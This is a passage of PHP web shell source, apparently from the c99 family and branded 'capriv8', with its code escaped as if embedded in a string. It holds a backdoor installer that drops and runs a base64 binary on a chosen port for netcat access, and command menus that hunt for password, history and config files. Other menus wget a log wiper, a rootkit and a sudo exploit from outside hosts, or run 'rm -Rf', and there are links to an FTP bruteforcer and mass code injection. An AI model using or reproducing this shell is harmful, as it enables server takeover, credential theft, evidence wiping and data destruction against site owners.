SA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9\";\r\n\r\n\r\nif (\$x == \"mkdir\") \r\n{ \r\n if (\$mkdir != \$d) \r\n { \r\n if (file_exists(\$mkdir)) {echo \"<b>Make Dir \\\"\".htmlspecialchars(\$mkdir).\"\\\"</b>: object alredy exists\";} \r\n elseif (!mkdir(\$mkdir)) {echo \"<b>Make Dir \\\"\".htmlspecialchars(\$mkdir).\"\\\"</b>: access denied\";} \r\n echo '<br><br>'; \r\n } \r\n \$x = \$dspact = 'ls'; \r\n} \r\n\r\n\r\n\r\n\r\nfunction cf(\$fname,\$text) {\r\n \$w_file=@fopen(\$fname,\"w\") or err();\r\n if(\$w_file) {\r\n @fputs(\$w_file,@base64_decode(\$text));\r\n @fclose(\$w_file);\r\n }\r\n}\r\n\r\nfunction cfb(\$fname,\$text) {\r\n \$w_file=@fopen(\$fname,\"w\") or bberr();\r\n if(\$w_file) {\r\n @fputs(\$w_file,@base64_decode(\$text));\r\n @fclose(\$w_file);\r\n }\r\n}\r\nfunction err() { \$_POST['backcconnmsge']=\"<br><br><div class=fxerrmsg>Error:</div> Can't connect!\"; }\r\nfunction bberr() { \$_POST['backcconnmsge']=\"<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!\"; }\r\n\r\nif (!empty(\$_POST['backconnectport']) && (\$_POST['use']==\"shbd\")) {\r\n \$ip = gethostbyname(\$_SERVER[\"HTTP_HOST\"]);\r\n \$por = \$_POST['backconnectport'];\r\n if (is_writable(\".\")) {\r\n cfb(\"shbd\",\$backdoor);\r\n ex(\"chmod 777 shbd\");\r\n \$cmd = \"./shbd \$por\";\r\n exec(\"\$cmd > /dev/null &\");\r\n \$scan = myshellexec(\"ps aux\");\r\n } else {\r\n cfb(\"/tmp/shbd\",\$backdoor);\r\n ex(\"chmod 777 /tmp/shbd\");\r\n \$cmd = \"./tmp/shbd \$por\";\r\n exec(\"\$cmd > /dev/null &\");\r\n \$scan = myshellexec(\"ps aux\");\r\n }\r\n if (eregi(\"./shbd \$por\",\$scan)) {\r\n \$data = (\"\\n<br>Backdoor setup successfully.\");\r\n } else {\r\n \$data = (\"\\n<br>Process not found, backdoor setup failed!\");\r\n }\r\n \$_POST['backcconnmsg']=\"To connect, use netcat! Usage: <b>'nc \$ip \$por'</b>.\$data\";\r\n}\r\n\r\n\r\n@ini_set(\"max_execution_time\",0);\r\nif (!function_exists(\"getmicrotime\")) {\r\n function getmicrotime() {\r\n list(\$usec, \$sec) = explode(\" \", microtime()); return ((float)\$usec + (float)\$sec);\r\n }\r\n}\r\nerror_reporting(5);\r\n@ignore_user_abort(TRUE);\r\n@set_magic_quotes_runtime(0);\r\ndefine(\"starttime\",getmicrotime());\r\nif (get_magic_quotes_gpc()) {\r\n if (!function_exists(\"strips\")) {\r\n function strips(&\$arr,\$k=\"\") {\r\n if (is_array(\$arr)) {\r\n foreach(\$arr as \$k=>\$v) {\r\n if (strtoupper(\$k) != \"GLOBALS\") { strips(\$arr[\"\$k\"]); }\r\n }\r\n } else {\$arr = stripslashes(\$arr);}\r\n }\r\n }\r\n strips(\$GLOBALS);\r\n}\r\n\$_REQUEST = array_merge(\$_COOKIE,\$_GET,\$_POST);\r\n\$surl_autofill_include = TRUE; \r\nforeach(\$_REQUEST as \$k=>\$v) { if (!isset(\$\$k)) {\$\$k = \$v;} }\r\nif (\$surl_autofill_include) {\r\n \$include = \"&\";\r\n foreach (explode(\"&\",getenv(\"QUERY_STRING\")) as \$v) {\r\n \$v = explode(\"=\",\$v);\r\n \$name = urldecode(\$v[0]);\r\n \$value = urldecode(\$v[1]);\r\n foreach (array(\"http://\",\"https://\",\"ssl://\",\"ftp://\",\"\\\\\\\\\") as \$needle) {\r\n if (strpos(\$value,\$needle) === 0) {\r\n \$includestr .= urlencode(\$name).\"=\".urlencode(\$value).\"&\";\r\n }\r\n }\r\n }\r\n}\r\nif (empty(\$surl)) {\r\n \$surl = \"?\".\$includestr; \r\n}\r\n\$surl = htmlspecialchars(\$surl);\r\n\r\n\$ftypes = array(\r\n \"html\"=>array(\"html\",\"htm\",\"shtml\"),\r\n \"txt\"=>array(\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htaccess\"),\r\n \"exe\"=>array(\"sh\",\"install\",\"bat\",\"cmd\"),\r\n \"ini\"=>array(\"ini\",\"inf\",\"conf\"),\r\n \"code\"=>array(\"php\",\"phtml\",\"php3\",\"php4\",\"inc\",\"tcl\",\"h\",\"c\",\"cpp\",\"py\",\"cgi\",\"pl\"),\r\n \"img\"=>array(\"gif\",\"png\",\"jpeg\",\"jfif\",\"jpg\",\"jpe\",\"bmp\",\"ico\",\"tif\",\"tiff\",\"avi\",\"mpg\",\"mpeg\"),\r\n \"sdb\"=>array(\"sdb\"),\r\n \"phpsess\"=>array(\"sess\"),\r\n \"download\"=>array(\"exe\",\"com\",\"pif\",\"src\",\"lnk\",\"zip\",\"rar\",\"gz\",\"tar\")\r\n);\r\n\$exeftypes = array(\r\n getenv(\"PHPRC\").\" -q %f%\" => array(\"php\",\"php3\",\"php4\"),\r\n \"perl %f%\" => array(\"pl\",\"cgi\")\r\n);\r\n\$regxp_highlight = array(\r\n array(basename(\$_SERVER[\"PHP_SELF\"]),1,\"<font color=red>\",\"</font>\"),\r\n array(\"\\.tgz\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.gz\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.tar\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.bz2\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.zip\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.rar\$\",1,\"<font color=#C082FF>\",\"</font>\"),\r\n array(\"\\.php\$\",1,\"<font color=#00FF00>\",\"</font>\"),\r\n array(\"\\.php3\$\",1,\"<font color=#00FF00>\",\"</font>\"),\r\n array(\"\\.php4\$\",1,\"<font color=#00FF00>\",\"</font>\"),\r\n array(\"\\.jpg\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.jpeg\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.JPG\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.JPEG\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.ico\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.gif\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.png\$\",1,\"<font color=#00FFFF>\",\"</font>\"),\r\n array(\"\\.htm\$\",1,\"<font color=#00CCFF>\",\"</font>\"),\r\n array(\"\\.html\$\",1,\"<font color=#00CCFF>\",\"</font>\"),\r\n\tarray(\"index.php\",1,'<font color=red>','</font>'),\r\n\tarray(\"configuration.php\",1,'<font color=red>','</font>'),\r\n\tarray(\"config.php\",1,'<font color=red>','</font>'),\r\n array(\"settings.php\",1,'<font color=red>','</font>'),\r\n array(\"connect.php\",1,'<font color=red>','</font>'),\r\n array(\"\\.txt\$\",1,\"<font color=#C0C0C0>\",\"</font>\")\r\n);\r\nif (!\$win) {\r\n \$cmdaliases = array(\r\n array(\"\", \"ls -al\"),\r\n array(\"Find all suid files\", \"find / -type f -perm -04000 -ls\"),\r\n array(\"Find suid files in current dir\", \"find . -type f -perm -04000 -ls\"),\r\n array(\"Find all sgid files\", \"find / -type f -perm -02000 -ls\"),\r\n array(\"Find sgid files in current dir\", \"find . -type f -perm -02000 -ls\"),\r\n array(\"Find config.inc.php files\", \"find / -type f -name config.inc.php\"),\r\n array(\"Find config* files\", \"find / -type f -name \\\"config*\\\"\"),\r\n array(\"Find config* files in current dir\", \"find . -type f -name \\\"config*\\\"\"),\r\n array(\"Find all writable folders and files\", \"find / -perm -2 -ls\"),\r\n array(\"Find all writable folders and files in current dir\", \"find . -perm -2 -ls\"),\r\n array(\"Find all writable folders\", \"find / -type d -perm -2 -ls\"),\r\n array(\"Find all writable folders in current dir\", \"find . -type d -perm -2 -ls\"),\r\n array(\"Find all service.pwd files\", \"find / -type f -name service.pwd\"),\r\n array(\"Find service.pwd files in current dir\", \"find . -type f -name service.pwd\"),\r\n array(\"Find all .htpasswd files\", \"find / -type f -name .htpasswd\"),\r\n array(\"Find .htpasswd files in current dir\", \"find . -type f -name .htpasswd\"),\r\n array(\"Find all .bash_history files\", \"find / -type f -name .bash_history\"),\r\n array(\"Find .bash_history files in current dir\", \"find . -type f -name .bash_history\"),\r\n array(\"Find all .fetchmailrc files\", \"find / -type f -name .fetchmailrc\"),\r\n array(\"Find .fetchmailrc files in current dir\", \"find . -type f -name .fetchmailrc\"),\r\n array(\"List file attributes on a Linux second extended file system\", \"lsattr -va\"),\r\n array(\"Show opened ports\", \"netstat -an | grep -i listen\")\r\n );\r\n \$cmdaliases2 = array(\r\n array(\"Logged in users\",\"w\"),\r\n array(\"Last to connect\",\"lastlog\"),\r\n array(\"Find Suid bins\",\"find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null\"),\r\n array(\"User Without Password\",\"cut -d: -f1,2,3 /etc/passwd | grep ::\"),\r\n array(\"Can write in /etc/?\",\"find /etc/ -type f -perm -o+w 2> /dev/null\"),\r\n array(\"Downloaders?\",\"which wget curl w3m lynx fetch lwp-download\"),\r\n array(\"CPU Info\",\"cat /proc/version /proc/cpuinfo\"),\r\n array(\"Is gcc installed ?\",\"locate gcc\"),\r\n array(\"Format box (DANGEROUS)\",\"rm -Rf\"),\r\n array(\"-----\",\"\"),\r\n array(\"wget WIPELOGS PT1\",\"wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c\"),\r\n array(\"gcc WIPELOGS PT2\",\"gcc zap2.c -o zap2\"),\r\n array(\"Run WIPELOGS PT3\",\"./zap2\"),\r\n array(\"-----\",\"\"),\r\n array(\"wget RatHole 1.2 (Linux & BSD)\",\"wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz\"),\r\n array(\"wget Sudo Exploit\",\"wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c\"),\r\n );\r\n}\r\nelse {\r\n \$cmdaliases = array(\r\n array(\"\", \"dir\"),\r\n array(\"Find index.php in current dir\", \"dir /s /w /b index.php\"),\r\n array(\"Find *config*.php in current dir\", \"dir /s /w /b *config*.php\"),\r\n array(\"Find r57shell in current dir\", \"find /c \\\"r57\\\" *\"),\r\n array(\"Show active connections\", \"netstat -an\"),\r\n array(\"Show running services\", \"net start\"),\r\n array(\"User accounts\", \"net user\"),\r\n array(\"Show computers\", \"net view\"),\r\n\tarray(\"Systeminfo\",\"systeminfo\") \r\n );\r\n}\r\n\$phpfsaliases = array(\r\n array(\"Read File\", \"read\"),\r\n array(\"Write File (PHP5)\", \"write\"), \r\n array(\"Copy\", \"copy\"),\r\n array(\"Rename/Move\", \"rename\"),\r\n array(\"Delete\", \"delete\"),\r\n array(\"Make Dir\",\"mkdir\"),\r\n array(\"-----\", \"\"),\r\n array(\"Download\", \"download\"),\r\n array(\"Download (Binary Safe)\", \"downloadbin\"),\r\n array(\"Change Perm (0755)\", \"chmod\"),\r\n array(\"Find Writable Dir\", \"fwritabledir\"),\r\n array(\"Find Pathname Pattern\", \"glob\"),\r\n);\r\n\r\n\$quicklaunch2 = array(\r\n\tarray(\"[Home]\",\$surl.\"=img&img=home\"),\r\n array(\"[Enumerate]\",\$enumerate),\r\n\tarray(\"[Search]\",\$surl.\"x=search\"),\r\n array(\"[Self-Kill]\",\$surl.\"x=selfremove\"),\r\n array(\"[About]\",\$surl.\"x=about\")\r\n);\r\n\$quicklaunch1 = array(\r\n\tarray(\"[FTP Buteforcer]\",\$surl.\"x=ftpquickbrute\"),\r\n array(\"[Security Info]\",\$surl.\"x=security&d=%d\"),\r\n array(\"[Processes]\",\$surl.\"x=processes&d=%d\"),\r\n array(\"[MySQL]\",\$surl.\"x=sql&d=%d\"),\r\n array(\"[PHP-Code]\",\$surl.\"x=eval&d=%d\"),\r\n array(\"[Encoder]\",\$surl.\"x=encoder&d=%d\"),\r\n\tarray(\"[Backdoor]\",\$surl.\"x=shbd\")\r\n);\r\n\$quicklaunch3 = array(\r\n\tarray(\"[PHP-Tools]\",\$surl.\"x=phptools\"),\r\n\tarray(\"[Cpanel Finder]\",\$surl.\"x=cpanel\"),\r\n array('[Install IP:Port Proxy]',\$surl.'x=proxy'),\r\n\tarray(\"[Install PHP Proxy]\",\$surl.\"x=phpproxy\"),\r\n\tarray(\"[Install RFI/LFI Scanner]\",\$surl.\"x=fi\"),\r\n\tarray(\"[Mass Code Injection]\",\$surl.\"x=massbrowsersploit\"),\r\n\tarray(\"[Find WR dir`s]\",\$surl.\"x=findwr\")\r\n);\r\n\r\n\r\n\$highlight_background = \"#000000\";\r\n\$highlight_bg = \"white\";\r\n\$highlight_comment = \"#CCCCCC\";\r\n\$highlight_default = \"orange\";\r\n\$highlight_html = \"lightblue\";\r\n\$highlight_keyword = \"lime\";\r\n\$highlight_string = \"red\";\r\n\r\n@\$f = \$_REQUEST[\"f\"];\r\n@extract(\$_REQUEST[\"capriv8cook\"]);\r\n@set_time_limit(0);\r\n\$tmp = array();\r\nforeach (\$host_allow as \$k=>\$v) { \$tmp[] = str_replace(\"\\\\*\",\".*\",preg_quote(\$v)); }\r\n\$s = \"!^(\".implode(\"|\",\$tmp).\")\$!i\";\r\nif (!preg_match(\$s,getenv(\"REMOTE_ADDR\")) and !preg_match(\$s,gethostbyaddr(getenv(\"REMOTE_ADDR\")))) {\r\n exit(\"<a href=\\\"\$sh_mainurl\\\">\$sh_name</a>: Access Denied - Your host (\".getenv(\"REMOTE_ADDR\").\") not allowed\");\r\n}\r\nif (!empty(\$login)) {\r\n if (empty(\$md5_pass)) {\$md5_pass = md5(\$pass);}\r\n if ((\$_SERVER[\"PHP_AUTH_USER\"] != \$login) or (md5(\$_SERVER[\"PHP_AUTH_PW\"]) != \$md5_pass)) {\r\n header(\"WWW-Authenticate: Basic realm=\\\"\".\$sh_name.\": \".\$login_txt.\"\\\"\");\r\n header(\"HTTP/1.0 401 Unauthorized\");\r\n exit(\$accessdeniedmess);\r\n }\r\n}\r\nif (\$x != \"img\") {\r\n \$lastdir = realpath(\".\");\r\n chdir(\$curdir);\r\n if (\$selfwrite) {\r\n @ob_clean();\r\n capriv8_getupdate(\$selfwrite,1);\r\n exit;\r\n }\r\n \$sess_data = unserialize(\$_COOKIE[\"\$sess_cookie\"]);\r\n if (!is_array(\$sess_data)) {\$sess_data = array();}\r\n if (!is_array(\$sess_data[\"copy\"])) {\$sess_data[\"copy\"] = array();}\r\n if (!is_array(\$sess_data[\"cut\"])) {\$sess_data[\"cut\"] = array();}\r\n if (!function_exists(\"cagetsource\")) {\r\n function cagetsource(\$fn) {\r\n global \$capriv8_sourcesurl;\r\n \$array = array(\r\n \"capriv8_bindport.pl\" => \"capriv8_bindport_pl.txt\",\r\n \"capriv8_bindport.c\" => \"capriv8_bindport_c.txt\",\r\n \"capriv8_backconn.pl\" => \"capriv8_backconn_pl.txt\",\r\n \"capriv8_backconn.c\" => \"capriv8_backconn_c.txt\",\r\n \"capriv8_datapipe.pl\" => \"capriv8_datapipe_pl.txt\",\r\n \"capriv8_datapipe.c\" => \"capriv8_datapipe_c.txt\",\r\n );\r\n \$name = \$array[\$fn];\r\n if (\$name) {return file_get_contents(\$capriv8_sourcesurl.\$name);}\r\n else {return FALSE;}\r\n }\r\n }\r\n if (!function_exists(\"ca_buff_prepare\")) {\r\n function ca_buff_prepare() {\r\n global \$sess_data;\r\n global \$x;\r\n foreach(\$sess_data[\"copy\"] as \$k=>\$v) {\$sess_data[\"copy\"][\$k] = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,realpath(\$v));}\r\n foreach(\$sess_data[\"cut\"] as \$k=>\$v) {\$sess_data[\"cut\"][\$k] = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,realpath(\$v));}\r\n \$sess_data[\"copy\"] = array_unique(\$sess_data[\"copy\"]);\r\n \$sess_data[\"cut\"] = array_unique(\$sess_data[\"cut\"]);\r\n sort(\$sess_data[\"copy\"]);\r\n sort(\$sess_data[\"cut\"]);\r\n if (\$x != \"copy\") {foreach(\$sess_data[\"cut\"] as \$k=>\$v) {if (\$sess_data[\"copy\"][\$k] == \$v) {unset(\$sess_data[\"copy\"][\$k]); }}}\r\n else {foreach(\$sess_data[\"copy\"] as \$k=>\$v) {if (\$sess_data[\"cut\"][\$k] == \$v) {unset(\$sess_data[\"cut\"][\$k]);}}}\r\n }\r\n }\r\n ca_buff_prepare();\r\n if (!function_exists(\"ca_sess_put\")) {\r\n function ca_sess_put(\$data) {\r\n global \$sess_cookie;\r\n global \$sess_data;\r\n ca_buff_prepare();\r\n \$sess_data = \$data;\r\n \$data = serialize(\$data);\r\n setcookie(\$sess_cookie,\$data);\r\n }\r\n }\r\n foreach (array(\"sort\",\"sql_sort\") as \$v) {\r\n if (!empty(\$_GET[\$v])) {\$\$v = \$_GET[\$v];}\r\n if (!empty(\$_POST[\$v])) {\$\$v = \$_POST[\$v];}\r\n }\r\n if (\$sort_save) {\r\n if (!empty(\$sort)) {setcookie(\"sort\",\$sort);}\r\n if (!empty(\$sql_sort)) {setcookie(\"sql_sort\",\$sql_sort);}\r\n }\r\n if (!function_exists(\"str2mini\")) {\r\n function str2mini(\$content,\$len) {\r\n if (strlen(\$content) > \$len) {\r\n \$len = ceil(\$len/2) - 2;\r\n return substr(\$content, 0,\$len).\"...\".substr(\$content,-\$len);\r\n } else {return \$content;}\r\n }\r\n }\r\n if (!function_exists(\"view_size\")) {\r\n function view_size(\$size) {\r\n if (!is_numeric(\$size)) { return FALSE; }\r\n else {\r\n if (\$size >= 1073741824) {\$size = round(\$size/1073741824*100)/100 .\" GB\";}\r\n elseif (\$size >= 1048576) {\$size = round(\$size/1048576*100)/100 .\" MB\";}\r\n elseif (\$size >= 1024) {\$size = round(\$size/1024*100)/100 .\" KB\";}\r\n else {\$size = \$size . \" B\";}\r\n return \$size;\r\n }\r\n }\r\n }\r\n if (!function_exists(\"fs_copy_dir\")) {\r\n function fs_copy_dir(\$d,\$t) {\r\n \$d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$d);\r\n if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;}\r\n \$h = opendir(\$d);\r\n while ((\$o = readdir(\$h)) !== FALSE) {\r\n if ((\$o != \".\") and (\$o != \"..\")) {\r\n if (!is_dir(\$d.DIRECTORY_SEPARATOR.\$o)) {\$ret = copy(\$d.DIRECTORY_SEPARATOR.\$o,\$t.DIRECTORY_SEPARATOR.\$o);}\r\n else {\$ret = mkdir(\$t.DIRECTORY_SEPARATOR.\$o); fs_copy_dir(\$d.DIRECTORY_SEPARATOR.\$o,\$t.DIRECTORY_SEPARATOR.\$o);}\r\n if (!\$ret) {return \$ret;}\r\n }\r\n }\r\n closedir(\$h);\r\n return TRUE;\r\n }\r\n }\r\n if (!function_exists(\"fs_copy_obj\")) {\r\n function fs_copy_obj(\$d,\$t) {\r\n \$d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$d);\r\n \$t = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$t);\r\n if (!is_dir(dirname(\$t))) {mkdir(dirname(\$t));}\r\n if (is_dir(\$d)) {\r\n if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;}\r\n if (substr(\$t,-1) != DIRECTORY_SEPARATOR) {\$t .= DIRECTORY_SEPARATOR;}\r\n return fs_copy_dir(\$d,\$t);\r\n }\r\n elseif (is_file(\$d)) { return copy(\$d,\$t); }\r\n else { return FALSE; }\r\n }\r\n }\r\n if (!function_exists(\"fs_move_dir\")) {\r\n function fs_move_dir(\$d,\$t) {\r\n \$h = opendir(\$d);\r\n if (!is_dir(\$t)) {mkdir(\$t);}\r\n while ((\$o = readdir(\$h)) !== FALSE) {\r\n if ((\$o != \".\") and (\$o != \"..\")) {\r\n \$ret = TRUE;\r\n if (!is_dir(\$d.DIRECTORY_SEPARATOR.\$o)) {\$ret = copy(\$d.DIRECTORY_SEPARATOR.\$o,\$t.DIRECTORY_SEPARATOR.\$o);}\r\n else {if (mkdir(\$t.DIRECTORY_SEPARATOR.\$o) and fs_copy_dir(\$d.DIRECTORY_SEPARATOR.\$o,\$t.DIRECTORY_SEPARATOR.\$o)) {\$ret = FALSE;}}\r\n if (!\$ret) {return \$ret;}\r\n }\r\n }\r\n closedir(\$h);\r\n return TRUE;\r\n }\r\n }\r\n if (!function_exists(\"fs_move_obj\")) {\r\n function fs_move_obj(\$d,\$t) {\r\n \$d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$d);\r\n \$t = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$t);\r\n if (is_dir(\$d)) {\r\n if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;}\r\n if (substr(\$t,-1) != DIRECTORY_SEPARATOR) {\$t .= DIRECTORY_SEPARATOR;}\r\n return fs_move_dir(\$d,\$t);\r\n }\r\n elseif (is_file(\$d)) {\r\n if(copy(\$d,\$t)) {return unlink(\$d);}\r\n else {unlink(\$t); return FALSE;}\r\n }\r\n else {return FALSE;}\r\n }\r\n }\r\n if (!function_exists(\"fs_rmdir\")) {\r\n function fs_rmdir(\$d) {\r\n \$h = opendir(\$d);\r\n while ((\$o = readdir(\$h)) !== FALSE) {\r\n if ((\$o != \".\") and (\$o != \"..\")) {\r\n if (!is_dir(\$d.\$o)) {unlink(\$d.\$o);}\r\n else {fs_rmdir(\$d.\$o.DIRECTORY_SEPARATOR); rmdir(\$d.\$o);}\r\n }\r\n }\r\n closedir(\$h);\r\n rmdir(\$d);\r\n return !is_dir(\$d);\r\n }\r\n }\r\n if (!function_exists(\"fs_rmobj\")) {\r\n function fs_rmobj(\$o) {\r\n \$o = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$o);\r\n if (is_dir(\$o)) {\r\n if (substr(\$o,-1) != DIRECTORY_SEPARATOR) {\$o .= DIRECTORY_SEPARATOR;}\r\n return fs_rmdir(\$o);\r\n }\r\n elseif (is_file(\$o)) {return unlink(\$o);}\r\n else {return FALSE;}\r\n }\r\n }\r\n if (!function_exists(\"tabsort\")) {\r\n function tabsort(\$a,\$b) {global \$v; return strnatcmp(\$a[\$v], \$b[\$v]);}\r\n }\r\n if (!function_exists(\"view_perms\")) {\r\n function view_perms(\$mode) {\r\n if ((\$mode & 0xC000) === 0xC000) {\$type = \"s\";}\r\n elseif ((\$mode & 0x4000) === 0x4000) {\$type = \"d\";}\r\n elseif ((\$mode & 0xA000) === 0xA000) {\$type = \"l\";}\r\n elseif ((\$mode & 0x8000) === 0x8000) {\$type = \"-\";}\r\n elseif ((\$mode & 0x6000) === 0x6000) {\$type = \"b\";}\r\n elseif ((\$mode & 0x2000) === 0x2000) {\$type = \"c\";}\r\n elseif ((\$mode & 0x1000) === 0x1000) {\$type = \"p\";}\r\n else {\$type = \"?\";}\r\n \$owner[\"read\"] = (\$mode & 00400)?\"r\":\"-\";\r\n \$owner[\"write\"] = (\$mode & 00200)?\"w\":\"-\";\r\n \$owner[\"execute\"] = (\$mode & 00100)?\"x\":\"-\";\r\n \$group[\"read\"] = (\$mode & 00040)?\"r\":\"-\";\r\n \$group[\"write\"] = (\$mode & 00020)?\"w\":\"-\";\r\n \$group[\"execute\"] = (\$mode & 00010)?\"x\":\"-\";\r\n \$world[\"read\"] = (\$mode & 00004)?\"r\":\"-\";\r\n \$world[\"write\"] = (\$mode & 00002)? \"w\":\"-\";\r\n \$world[\"execute\"] = (\$mode & 00001)?\"x\":\"-\";\r\n if (\$mode & 0x800) {\$owner[\"execute\"] = (\$owner[\"execute\"] == \"x\")?\"s\":\"S\";}\r\n if (\$mode & 0x400) {\$group[\"execute\"] = (\$group[\"execute\"] == \"x\")?\"s\":\"S\";}\r\n if (\$mode & 0x200) {\$world[\"execute\"] = (\$world[\"execute\"] == \"x\")?\"t\":\"T\";}\r\n return \$type.join(\"\",\$owner).join(\"\",\$group).join(\"\",\$world);\r\n }\r\n }\r\n if (!function_exists(\"posix_getpwuid\") and !in_array(\"posix_getpwuid\",\$disablefunc)) {function posix_getpwuid(\$uid) {return FALSE;}}\r\n if (!function_exists(\"posix_getgrgid\") and !in_array(\"posix_getgrgid\",\$disablefunc)) {function posix_getgrgid(\$gid) {return FALSE;}}\r\n if (!function_exists(\"posix_kill\") and !in_array(\"posix_kill\",\$disablefunc)) {function posix_kill(\$gid) {return FALSE;}}\r\n if (!function_exists(\"parse_perms\")) {\r\n function parse_perms(\$mode) {\r\n if ((\$mode & 0xC000) === 0xC000) {\$t = \"s\";}\r\n elseif ((\$mode & 0x4000) === 0x4000) {\$t = \"d\";}\r\n elseif ((\$mode & 0xA000) === 0xA000) {\$t = \"l\";}\r\n elseif ((\$mode & 0x8000) === 0x8000) {\$t = \"-\";}\r\n elseif ((\$mode & 0x6000) === 0x6000) {\$t = \"b\";}\r\n elseif ((\$mode & 0x2000) === 0x2000) {\$t = \"c\";}\r\n elseif ((\$mode & 0x1000) === 0x1000) {\$t = \"p\";}\r\n else {\$t = \"?\";}\r\n \$o[\"r\"] = (\$mode & 00400) > 0; \$o[\"w\"] = (\$mode & 00200) > 0; \$o[\"x\"] 